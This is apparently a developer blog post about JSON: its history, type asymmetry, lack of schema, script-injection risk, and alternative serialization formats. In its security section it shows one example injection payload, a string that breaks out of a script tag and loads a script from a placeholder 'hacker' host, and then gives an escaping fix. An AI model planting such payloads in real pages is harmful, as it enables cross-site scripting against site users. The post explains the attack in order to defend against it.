JSON, JSON, JSON
Tags: javascript, webdev
Published: 2018-09-23 22:07:42

---
title: JSON, JSON, JSON
published: true
description: All things about JSON
tags: [javascript, webdev]
cover_image: https://thepracticaldev.s3.amazonaws.com/i/22wid77no8v43pt4qkzf.png
---

All things about JSON.

## Begining

JSON - born out of web platform limitation and a bit of creativity. There was XMLHttpRequest to do request to the server without the need to do full reload, but XML is "heavy" on the wire, so Douglas Crockford thought of clever trick - we can use JavaScript Object Notation and `eval` to pass data from the server to the client or vice versa in easy way. But it is not safe to execute arbitrary code (`eval`) especially if it comes from 3rd party source. So next step was to standardize it and implement a specific parser for it. Later it becomes standard for all browsers and now we can use it as `JSON.parse`.

## limitation

Taking into account how it was born it comes with some limitations

### Asymetric encoding/decoding

You know how JS tries to pretend that type errors doesn't exist and tries just coerce at any cost even if doesn't make much sense. This means that `x == JSON.parse(JSON.stringify(x))` doesn't always hold true. For example:

- `Date` will be turned in `string` representation, and after decoding it will stay a `string`
- `Map`, `WeakMap`, `Set`, `WeakSet` will be turned in `"{}"` - it will lose contents and type
- `BigInt` for a change throws `TypeError: Do not know how to serialize a BigInt`
- a function will be converted to `undefined`
- `undefined` will be converted to `undefined`
- ES6 class and `new function(){}` will be converted into a representation of a plain object, but will lose type

**Solution:** One of possible solutions here is to use static type systems like TypeScript or Flow to prevent asymmetric types:

```ts
// inspired by https://github.com/tildeio/ts-std/blob/master/src/json.ts
export type JSONValue =
  | string
  | number
  | boolean
  | null
  | JSONObject
  | JSONArray;
type JSONObject = {[key: string]: JSONValue};
type JSONArray = Array<JSONValue>;

export const symetricStringify = (x: JSONValue) => JSON.stringify(x);
```

Though it will not save us from `TypeError: Converting circular structure to JSON`, but will get to it later.

### Security: script injection

If you use JSON as a way to pass data from the server to the client inside HTML, for example, the initial value for Redux store in case of server-side rendering or `gon` in Ruby, be aware that there a risk of script injection attack

```html
<script>
  var data = {user_input: "</script><script src=http://hacker/script.js>"}
</script>
```

**Solution:** escape JSON before passing it to HTML

```js
const UNSAFE_CHARS_REGEXP = /[<>\/\u2028\u2029]/g;
// Mapping of unsafe HTML and invalid JavaScript line terminator chars to their
// Unicode char counterparts which are safe to use in JavaScript strings.
const ESCAPED_CHARS = {
  "<": "\\u003C",
  ">": "\\u003E",
  "/": "\\u002F",
  "\u2028": "\\u2028",
  "\u2029": "\\u2029"
};
const escapeUnsafeChars = unsafeChar => ESCAPED_CHARS[unsafeChar];
const escape = str => str.replace(UNSAFE_CHARS_REGEXP, escapeUnsafeChars);
export const safeStringify = (x) => escape(JSON.stringify(x));
```

Side note: [collection of JSON implementation vulnerabilities](https://github.com/tunz/js-vuln-db)

### Lack of schema

JSON is schemaless - it makes sense because JS is dynamically typed. But this means that you need to verify shape (types) yourself `JSON.parse` won't do it for you. 

**Solution:** I wrote about this problem before - use [IO validation](https://dev.to/stereobooster/pragmatic-types-io-validation-or-how-to-handle-json-based-apis-in-statically-typed-language-1d9m)

Side note: there are also other solutions, like JSON API, Swagger, and GraphQL.

### Lack of schema and serializer/parser

Having a schema for parser can solve the issue with asymmetry for `Date`. If we know that we expect `Date` at some place we can use string representation to create JS `Date` out of it. 

Having a schema for serializer can solve issue for `BigInt`, `Map`, `WeakMap`, `Set`, `WeakSet`, ES6 classes and `new function(){}`. We can provide specific serializer/parser for each type.

```ts
import * as t from 'io-ts'

const DateFromString = new t.Type<Date, string>(
  'DateFromString',
  (m): m is Date => m instanceof Date,
  (m, c) =>
    t.string.validate(m, c).chain(s => {
      const d = new Date(s)
      return isNaN(d.getTime()) ? t.failure(s, c) : t.success(d)
    }),
  a => a.toISOString()
)
```

Side note: see also [this proposal](https://github.com/gibson042/ecma262-proposal-JSON-parse-with-source)

### Lack of schema and performance

Having a schema can improve the performance of parser. For example, see [jitson](https://github.com/mafintosh/jitson) and [FAD.js](http://www.vldb.org/pvldb/vol10/p1778-bonetta.pdf)

Side note: see also [fast-json-stringify](https://github.com/fastify/fast-json-stringify)

### Stream parser/serializer

When JSON was invented nobody thought about using it for gigabytes of data. If you want to do something like this take a look at some stream parser.

Also, you can use a JSON stream to improve UX for slow backend - see [oboejs](http://oboejs.com/).

## Beyond JSON

### uneval

If you want to serialize actual JS code and preserve types, references and cyclic structures JSON will be not enough. You will need "uneval". Checkout some of those:

- [devalue](https://github.com/Rich-Harris/devalue)
- [lave](https://github.com/jed/lave)
- [js-stringify](https://github.com/pugjs/js-stringify)
- [node-uneval](https://github.com/chakrit/node-uneval)
- [node-tosource](https://github.com/marcello3d/node-tosource) - Converts JavaScript objects to source

Other "variations to this tune":

- [LJSON](https://github.com/MaiaVictor/LJSON) - JSON extended with pure functions
- [serialize-javascript](https://github.com/yahoo/serialize-javascript) - Serialize JavaScript to a superset of JSON that includes regular expressions, dates and functions
- [arson](https://github.com/benjamn/arson) - Efficient encoder and decoder for arbitrary objects
- [ResurrectJS](https://github.com/skeeto/resurrect-js) preserves object behavior (prototypes) and reference circularity with a special JSON encoding 
- [serializr](https://github.com/mobxjs/serializr) - Serialize and deserialize complex object graphs to and from JSON and Javascript classes

### As a configuration file

JSON was invented to transmit data, not for storing configuration. Yet people use it for configuration because this is an easy option.

JSON lacks comments, requires quotes around keys, prohibits coma at the end of array or dictionary, requires paired `{}` and `[]`. There is no real solution for this excepts use another format, like JSON5 or YAML or TOML.

### Binary data

JSON is more compact than XML, yet not the most compact. Binary formats even more effective. Checkout MessagePack.

Side note: GraphQL is not tied to JSON, so you can [use MessagePack with GraphQL](https://github.com/sangria-graphql/sangria-msgpack).

### Binary data and schema

Having binary format with schema allows doing some crazy optimization, like random access or zero-copy. Check out [Cap-n-Proto](https://capnproto.org/).

### Query language

JSON (as anything JS related) is super popular, so people need to work with it more and more and started to build tools around it, like [JSONPath](http://goessner.net/articles/JsonPath/) and [jq](https://stedolan.github.io/jq/).

## Did I miss something?

Leave a comment if I missed something. Thanks for reading.

---

Follow me on [twitter](https://twitter.com/stereobooster) and [github](https://github.com/stereobooster).